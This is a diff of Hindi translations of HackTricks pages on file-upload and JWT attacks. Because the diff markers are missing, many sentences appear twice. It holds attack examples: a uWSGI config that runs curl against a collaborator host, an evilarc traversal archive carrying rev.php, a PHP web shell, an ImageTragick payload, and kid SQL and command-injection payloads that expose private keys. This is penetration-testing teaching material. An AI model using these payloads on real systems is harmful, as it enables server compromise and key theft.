यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** चाल पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)।
`.phar` फ़ाइलें Java के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल की तरह** उपयोग किया जा सकता है (इसे PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
`.phar` फ़ाइलें Java के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल** की तरह **उपयोग किया जा सकता है** (इसे PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो सकती है**।
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो**।
## **Jetty RCE**
@ -109,7 +108,7 @@ AAA<--SNIP 232 A-->AAA.php.png
रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता हो। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
हानिकारक `uwsgi.ini` फ़ाइल क निम्नलिखित उदाहरण विचार करें, जो विभिन्न योजनाओं को प्रदर्शित करता है:
हानिकारक `uwsgi.ini` फ़ाइल क निम्नलिखित उदाहरण पर विचार करें, जो विभिन्न योजनाओं को प्रदर्शित करता है:
```ini
[uwsgi]
; read from a symbol
@ -127,7 +126,7 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
पेलोड का निष्पादन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः प्रारंभ किया जाना चाहिए (संभावित रूप से एक क्रैश के बाद या Denial of Service हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्दिष्ट अंतराल पर फ़ाइल को फिर से लोड करती है।
पेलोड का निष्पादन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः प्रारंभ किया जाना चाहिए (संभावित रूप से एक क्रैश के बाद या सेवा से इनकार के हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्दिष्ट अंतराल पर फ़ाइल को फिर से लोड करती है।
uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की लचीली प्रकृति को समझना महत्वपूर्ण है। विशेष रूप से, चर्चा की गई पेलोड को एक बाइनरी फ़ाइल (जैसे कि एक छवि या PDF) में डाला जा सकता है, जिससे संभावित शोषण के दायरे को और बढ़ाया जा सकता है।
@ -157,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
ध्यान दें कि **एक और विकल्प** जिसे आप इस जांच को बायपास करने के लिए सोच रहे होंगे, वह है **HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना**, ताकि प्रारंभिक URL जांच को बायपास कर दे और फिर wget रीडायरेक्ट की गई फ़ाइल को नए नाम के साथ डाउनलोड कर ले। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग नहीं किया जा रहा है क्योंकि **wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा**
ध्यान दें कि **एक और विकल्प** जिसे आप इस जांच को बायपास करने के लिए सोच सकते हैं, वह है **HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना**, ताकि प्रारंभिक URL जांच को बायपास कर दे और फिर wget रीडायरेक्ट की गई फ़ाइल को नए नाम के साथ डाउनलोड कर ले। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग नहीं किया जा रहा है क्योंकि **wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा**
## उपकरण
@ -177,7 +176,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- [प्रसिद्ध **ImageTrick** कमजोरी](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- यदि आप **वेब सर्वर को एक URL से इमेज पकड़ने के लिए इंगित कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी इंगित कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**
- [**XXE और CORS** बायपास PDF-एडोब अपलोड के साथ](pdf-upload-xxe-and-cors-bypass.md)
- XSS के लिए विशेष रूप से तैयार किए गए PDFs: [निम्नलिखित पृष्ठ प्रस्तुत करता है कि कैसे **PDF डेटा को इंजेक्ट करके JS निष्पादन प्राप्त करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
- XSS के लिए विशेष रूप से तैयार किए गए PDFs: [निम्नलिखित पृष्ठ दिखाता है कि **JS निष्पादन प्राप्त करने के लिए PDF डेटा कैसे इंजेक्ट करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) सामग्री को अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई **एंटीवायरस** है या नहीं
- फ़ाइलें अपलोड करते समय यदि कोई **आकार सीमा** है तो जांचें
@ -196,7 +195,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
#### बर्प एक्सटेंशन
{% embed url="https://github.com/portswigger/upload-scanner" %}
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## जादुई हेडर बाइट्स
@ -211,7 +212,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
#### सिम्लिंक
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचते समय आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचकर आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -228,7 +229,7 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
इसके अतिरिक्त, **evilarc के साथ symlink ट्रिक** एक विकल्प है। यदि उद्देश्य `/flag.txt` जैसी फ़ाइल को लक्षित करना है, तो आपकी प्रणाली में उस फ़ाइल के लिए एक symlink बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc अपने संचालन के दौरान त्रुटियों का सामना नहीं करता है।
इसके अतिरिक्त, **evilarc के साथ symlink ट्रिक** एक विकल्प है। यदि उद्देश्य `/flag.txt` जैसी फ़ाइल को लक्षित करना है, तो उस फ़ाइल के लिए आपके सिस्टम में एक symlink बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc अपने संचालन के दौरान त्रुटियों का सामना नहीं करता है।
नीचे एक उदाहरण है Python कोड का जिसका उपयोग एक दुर्भावनापूर्ण zip फ़ाइल बनाने के लिए किया जाता है:
```python
@ -252,7 +253,7 @@ create_zip()
अधिक विवरण के लिए **मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **PHP शेल बनाना**: PHP कोड लिखा गया है जो `$_REQUEST` वेरिएबल के माध्यम से पास किए गए कमांड को निष्पादित करता है
1. **PHP शेल बनाना**: PHP कोड लिखा गया है ताकि `$_REQUEST` वेरिएबल के माध्यम से पास किए गए कमांड को निष्पादित किया जा सके
```php
<?php
@ -279,7 +280,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि भेद्यता का लाभ उठाया जा सके **(ImageMagick , 7.0.1-1)** (फॉर्म [एक्सप्लॉइट](https://www.exploit-db.com/exploits/39767))
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि इस भेद्यता का लाभ उठाया जा सके **(ImageMagick , 7.0.1-1)** (फॉर्म [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -296,9 +297,9 @@ PNG फ़ाइल के IDAT भाग में PHP शेल एम्ब
## पॉलीग्लॉट फ़ाइलें
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद हो सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR संग्रह दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो ऐसे गिरगिट के रूप में कार्य करती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद हो सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR संग्रह दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों के संरचनात्मक मानदंडों के अनुसार होता है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों के संरचनात्मक मानदंडों के अनुसार है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
हालांकि उनकी अनुकूलता के बावजूद, पॉलीग्लॉट सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशन के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
@ -313,5 +314,4 @@ PNG फ़ाइल के IDAT भाग में PHP शेल एम्ब
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -25,7 +25,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
### बिना कुछ बदले डेटा को टेम्पर करें
आप बस डेटा के साथ छेड़छाड़ कर सकते हैं जबकि सिग्नेचर को वैसा ही छोड़ सकते हैं और देख सकते हैं कि क्या सर्वर सिग्नेचर की जांच कर रहा है। उदाहरण के लिए, अपने उपयोगकर्ता नाम को "admin" में बदलने की कोशिश करें।
आप बस डेटा के साथ छेड़छाड़ कर सकते हैं और सिग्नेचर को वैसा ही छोड़ सकते हैं और देख सकते हैं कि क्या सर्वर सिग्नेचर की जांच कर रहा है। उदाहरण के लिए, अपने उपयोगकर्ता नाम को "admin" में बदलने की कोशिश करें।
#### **क्या टोकन की जांच की जाती है?**
@ -54,7 +54,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
उपयोग किए गए एल्गोरिदम को "None" के रूप में सेट करें और सिग्नेचर भाग को हटा दें।
इस भेद्यता को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए Burp एक्सटेंशन "JSON Web Token" का उपयोग करें (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" में रखने का चयन भी कर सकते हैं)।
इस भेद्यता को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए Burp एक्सटेंशन "JSON Web Token" का उपयोग करें (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" में रखने का विकल्प भी चुन सकते हैं)।
### एल्गोरिदम RS256 (asymmetric) को HS256 (symmetric) में बदलें (CVE-2016-5431/CVE-2016-10555)
@ -70,24 +70,24 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### New public key inside the header
An attacker embeds a new key in the header of the token and the server uses this new key to verify the signature (CVE-2018-0114).
एक हमलावर टोकन के हेडर में एक नया कुंजी एम्बेड करता है और सर्वर इस नए कुंजी का उपयोग सिग्नेचर को सत्यापित करने के लिए करता है (CVE-2018-0114).
This can be done with the "JSON Web Tokens" Burp extension.\
(Send the request to the Repeater, inside the JSON Web Token tab select "CVE-2018-0114" and send the request).
यह "JSON Web Tokens" Burp एक्सटेंशन के साथ किया जा सकता है।\
(अनुरोध को Repeater में भेजें, JSON Web Token टैब के अंदर "CVE-2018-0114" का चयन करें और अनुरोध भेजें)।
### JWKS Spoofing
The instructions detail a method to assess the security of JWT tokens, particularly those employing a "jku" header claim. This claim should link to a JWKS (JSON Web Key Set) file that contains the public key necessary for the token's verification.
निर्देश JWT टोकनों की सुरक्षा का आकलन करने के लिए एक विधि का विवरण देते हैं, विशेष रूप से उन टोकनों के लिए जो "jku" हेडर क्लेम का उपयोग करते हैं। यह क्लेम एक JWKS (JSON Web Key Set) फ़ाइल से लिंक होना चाहिए जिसमें टोकन के सत्यापन के लिए आवश्यक सार्वजनिक कुंजी होती है।
- **Assessing Tokens with "jku" Header**:
- Verify the "jku" claim's URL to ensure it leads to the appropriate JWKS file.
- Modify the token's "jku" value to direct towards a controlled web service, allowing traffic observation.
- **Monitoring for HTTP Interaction**:
- Observing HTTP requests to your specified URL indicates the server's attempts to fetch keys from your provided link.
- When employing `jwt_tool` for this process, it's crucial to update the `jwtconf.ini` file with your personal JWKS location to facilitate the testing.
- **Command for `jwt_tool`**:
- **"jku" हेडर के साथ टोकनों का आकलन**:
- यह सुनिश्चित करने के लिए "jku" क्लेम के URL की सत्यापन करें कि यह उचित JWKS फ़ाइल की ओर ले जाता है।
- टोकन के "jku" मान को नियंत्रित वेब सेवा की ओर निर्देशित करने के लिए संशोधित करें, जिससे ट्रैफ़िक अवलोकन की अनुमति मिलती है।
- **HTTP इंटरैक्शन की निगरानी**:
- आपके निर्दिष्ट URL पर HTTP अनुरोधों का अवलोकन करना सर्वर के आपके प्रदान किए गए लिंक से कुंजी प्राप्त करने के प्रयासों को इंगित करता है।
- इस प्रक्रिया के लिए `jwt_tool` का उपयोग करते समय, परीक्षण को सुविधाजनक बनाने के लिए आपके व्यक्तिगत JWKS स्थान के साथ `jwtconf.ini` फ़ाइल को अपडेट करना महत्वपूर्ण है।
- **`jwt_tool` के लिए कमांड**:
- Execute the following command to simulate the scenario with `jwt_tool`:
- `jwt_tool` के साथ परिदृश्य का अनुकरण करने के लिए निम्नलिखित कमांड निष्पादित करें:
```bash
python3 jwt_tool.py JWT_HERE -X s
@ -95,23 +95,23 @@ python3 jwt_tool.py JWT_HERE -X s
### Kid Issues Overview
An optional header claim known as `kid` is utilized for identifying a specific key, which becomes particularly vital in environments where multiple keys exist for token signature verification. This claim assists in selecting the appropriate key to verify a token's signature.
एक वैकल्पिक हेडर क्लेम जिसे `kid` कहा जाता है, एक विशिष्ट कुंजी की पहचान के लिए उपयोग किया जाता है, जो उन वातावरणों में विशेष रूप से महत्वपूर्ण होता है जहां टोकन सिग्नेचर सत्यापन के लिए कई कुंजियाँ होती हैं। यह क्लेम एक टोकन के सिग्नेचर को सत्यापित करने के लिए उपयुक्त कुंजी का चयन करने में सहायता करता है।
#### Revealing Key through "kid"
When the `kid` claim is present in the header, it's advised to search the web directory for the corresponding file or its variations. For instance, if `"kid":"key/12345"` is specified, the files _/key/12345_ and _/key/12345.pem_ should be searched for in the web root.
जब हेडर में `kid` क्लेम मौजूद होता है, तो संबंधित फ़ाइल या इसके भिन्नताओं के लिए वेब निर्देशिका में खोज करने की सलाह दी जाती है। उदाहरण के लिए, यदि `"kid":"key/12345"` निर्दिष्ट किया गया है, तो फ़ाइलें _/key/12345_ और _/key/12345.pem_ को वेब रूट में खोजा जाना चाहिए।
#### Path Traversal with "kid"
The `kid` claim might also be exploited to navigate through the file system, potentially allowing the selection of an arbitrary file. It's feasible to test for connectivity or execute Server-Side Request Forgery (SSRF) attacks by altering the `kid` value to target specific files or services. Tampering with the JWT to change the `kid` value while retaining the original signature can be achieved using the `-T` flag in jwt_tool, as demonstrated below:
`kid` क्लेम का उपयोग फ़ाइल सिस्टम के माध्यम से नेविगेट करने के लिए भी किया जा सकता है, जिससे एक मनमाना फ़ाइल का चयन करने की अनुमति मिल सकती है। विशेष फ़ाइलों या सेवाओं को लक्षित करने के लिए `kid` मान को बदलकर कनेक्टिविटी का परीक्षण करना या सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) हमले करना संभव है। मूल सिग्नेचर को बनाए रखते हुए `kid` मान को बदलने के लिए JWT के साथ छेड़छाड़ `jwt_tool` में `-T` ध्वज का उपयोग करके की जा सकती है, जैसा कि नीचे दिखाया गया है:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
फाइलों को लक्षित करके जिनकी सामग्री पूर्वानुमानित होती है, एक मान्य JWT को forge करना संभव है। उदाहरण के लिए, Linux सिस्टम में `/proc/sys/kernel/randomize_va_space` फाइल, जो **2** मान रखती है, को JWT निर्माण के लिए **2** के रूप में सममित पासवर्ड के साथ `kid` पैरामीटर में उपयोग किया जा सकता है।
फाइलों को लक्षित करके जिनकी सामग्री पूर्वानुमानित होती है, एक मान्य JWT को forge करना संभव है। उदाहरण के लिए, Linux सिस्टम में `/proc/sys/kernel/randomize_va_space` फाइल, जो **2** मान रखती है, को JWT निर्माण के लिए **2** के रूप में symmetric password के साथ `kid` पैरामीटर में उपयोग किया जा सकता है।
#### "kid" के माध्यम से SQL Injection
यदि `kid` क्लेम की सामग्री का उपयोग किसी डेटाबेस से पासवर्ड लाने के लिए किया जाता है, तो `kid` पेलोड को संशोधित करके SQL injection को सक्षम किया जा सकता है। एक उदाहरण पेलोड जो JWT साइनिंग प्रक्रिया को बदलने के लिए SQL injection का उपयोग करता है, वह है:
यदि `kid` क्लेम की सामग्री का उपयोग किसी डेटाबेस से पासवर्ड प्राप्त करने के लिए किया जाता है, तो `kid` payload को संशोधित करके SQL injection को सक्षम किया जा सकता है। एक उदाहरण payload जो JWT साइनिंग प्रक्रिया को बदलने के लिए SQL injection का उपयोग करता है, वह है:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
@ -119,7 +119,7 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
#### "kid" के माध्यम से OS Injection
एक परिदृश्य जहां `kid` पैरामीटर एक फाइल पथ निर्दिष्ट करता है जो एक कमांड निष्पादन संदर्भ में उपयोग किया जाता है, Remote Code Execution (RCE) कमजोरियों की ओर ले जा सकता है। `kid` पैरामीटर में कमांड इंजेक्ट करके, निजी कुंजियों को उजागर करना संभव है। RCE और कुंजी उजागर करने के लिए एक उदाहरण पेलोड है:
एक परिदृश्य जहां `kid` पैरामीटर एक फाइल पथ को निर्दिष्ट करता है जो एक कमांड निष्पादन संदर्भ में उपयोग किया जाता है, Remote Code Execution (RCE) कमजोरियों की ओर ले जा सकता है। `kid` पैरामीटर में कमांड इंजेक्ट करके, निजी कुंजियों को उजागर करना संभव है। RCE और कुंजी उजागर करने के लिए एक उदाहरण payload है:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
@ -128,7 +128,7 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
#### jku
jku का अर्थ है **JWK Set URL**।\
यदि टोकन एक “**jku**” **Header** क्लेम का उपयोग करता है तो **प्रदान किए गए URL की जांच करें**। यह एक URL की ओर इशारा करना चाहिए जिसमें JWKS फाइल हो जो टोकन को सत्यापित करने के लिए सार्वजनिक कुंजी रखती है। टोकन को इस तरह से बदलें कि jku मान एक वेब सेवा की ओर इशारा करे जिसे आप ट्रैफ़िक के लिए मॉनिटर कर सकें।
यदि टोकन एक “**jku**” **Header** क्लेम का उपयोग करता है तो **प्रदान किए गए URL की जांच करें**। यह एक URL की ओर इशारा करना चाहिए जिसमें JWKS फाइल हो जो टोकन को सत्यापित करने के लिए Public Key रखती है। टोकन को इस तरह से tamper करें कि jku मान को एक वेब सेवा की ओर इंगित करें जिसे आप ट्रैफ़िक के लिए मॉनिटर कर सकें।
पहले आपको नए निजी और सार्वजनिक कुंजियों के साथ एक नया प्रमाणपत्र बनाना होगा।
```bash
@ -149,20 +149,20 @@ print("e:", hex(key.e))
```
#### x5u
X.509 URL. एक URI जो X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के सेट की ओर इशारा करता है जो PEM रूप में एन्कोडेड हैं। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT पर हस्ताक्षर करने के लिए किया गया है। बाद के प्रमाणपत्र प्रत्येक पिछले पर हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों को स्थानांतरित करने के लिए परिवहन सुरक्षा की आवश्यकता होती है।
X.509 URL. एक URI जो X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के सेट की ओर इशारा करता है जो PEM रूप में एन्कोडेड हैं। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT पर हस्ताक्षर करने के लिए किया गया है। इसके बाद के प्रमाणपत्र प्रत्येक पिछले पर हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों को स्थानांतरित करने के लिए परिवहन सुरक्षा की आवश्यकता होती है।
कोशिश करें कि **इस हेडर को एक URL में बदलें जो आपके नियंत्रण में हो** और जांचें कि क्या कोई अनुरोध प्राप्त होता है। स मामले में आप **JWT को छेड़ सकते हैं**
कोशिश करें कि **इस हेडर को एक URL में बदलें जो आपके नियंत्रण में हो** और जांचें कि क्या कोई अनुरोध प्राप्त होता है। स मामले में आप **JWT को छेड़ सकते हैं**
एक प्रमाणपत्र का उपयोग करके एक नया टोकन बनाने के लिए जिसे आप नियंत्रित करते हैं, आपको प्रमाणपत्र बनाना होगा और सार्वजनिक और निजी कुंजी निकालनी होगी:
एक प्रमाणपत्र का उपयोग करके एक नया टोकन बनाने के लिए जिसे आप नियंत्रित करते हैं, आपको प्रमाणपत्र बनाना होगा और सार्वजनिक और निजी कुंजियों को निकालना होगा:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
फिर आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग कर सकते हैं **नए JWT को बनाने के लिए जो कि बनाए गए सार्वजनिक और निजी कुंजियों के साथ है और पैरामीटर x5u को बनाए गए .crt प्रमाणपत्र की ओर इंगित करता है।**
फिर आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग कर सकते हैं **नए JWT को बनाने के लिए जो कि बनाए गए सार्वजनिक और निजी कुंजियों के साथ है और पैरामीटर x5u को बनाए गए प्रमाणपत्र .crt की ओर इंगित करता है।**
![](<../images/image (956).png>)
आप इन दोनों कमजोरियों का **SSRFs** के लिए भी दुरुपयोग कर सकते हैं।
आप इन दोनों कमजोरियों का भी दुरुपयोग कर सकते हैं **SSRFs के लिए**
#### x5c
@ -209,38 +209,41 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
```
अंत में, सार्वजनिक और निजी कुंजी और नए "n" और "e" मानों का उपयोग करके आप [jwt.io](https://jwt.io) का उपयोग करके किसी भी जानकारी के साथ एक नया मान्य JWT बना सकते हैं।
### ES256: समान nonce के साथ निजी कुंजी का खुलासा करना
### ES256: समान nonce के साथ निजी कुंजी का खुलासा
यदि कुछ अनुप्रयोग ES256 का उपयोग करते हैं और दो jwts उत्पन्न करने के लिए समान nonce का उपयोग करते हैं, तो निजी कुंजी को पुनर्स्थापित किया जा सकता है।
यहाँ एक उदाहरण है: [ECDSA: निजी कुंजी का खुलासा करना, यदि समान nonce का उपयोग किया गया (SECP256k1 के साथ)](https://asecuritysite.com/encryption/ecd5)
यहाँ एक उदाहरण है: [ECDSA: समान nonce का उपयोग करने पर निजी कुंजी का खुलासा (SECP256k1 के साथ)](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID)
JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद्वितीय पहचानकर्ता प्रदान करता है। इसका उपयोग टोकन को पुनः खेलने से रोकने के लिए किया जा सकता है।\
हालांकि, एक स्थिति की कल्पना करें जहाँ ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 समान ID का उपयोग करने जा रहे हैं। इसलिए यदि बैकएंड प्रत्येक अनुरोध पर ID को बढ़ा रहा है, तो आप इसका दुरुपयोग कर सकते हैं **एक अनुरोध को पुनः खेलना** (हर सफल पुनः खेल के बीच 10000 अनुरोध भेजने की आवश्यकता है)।
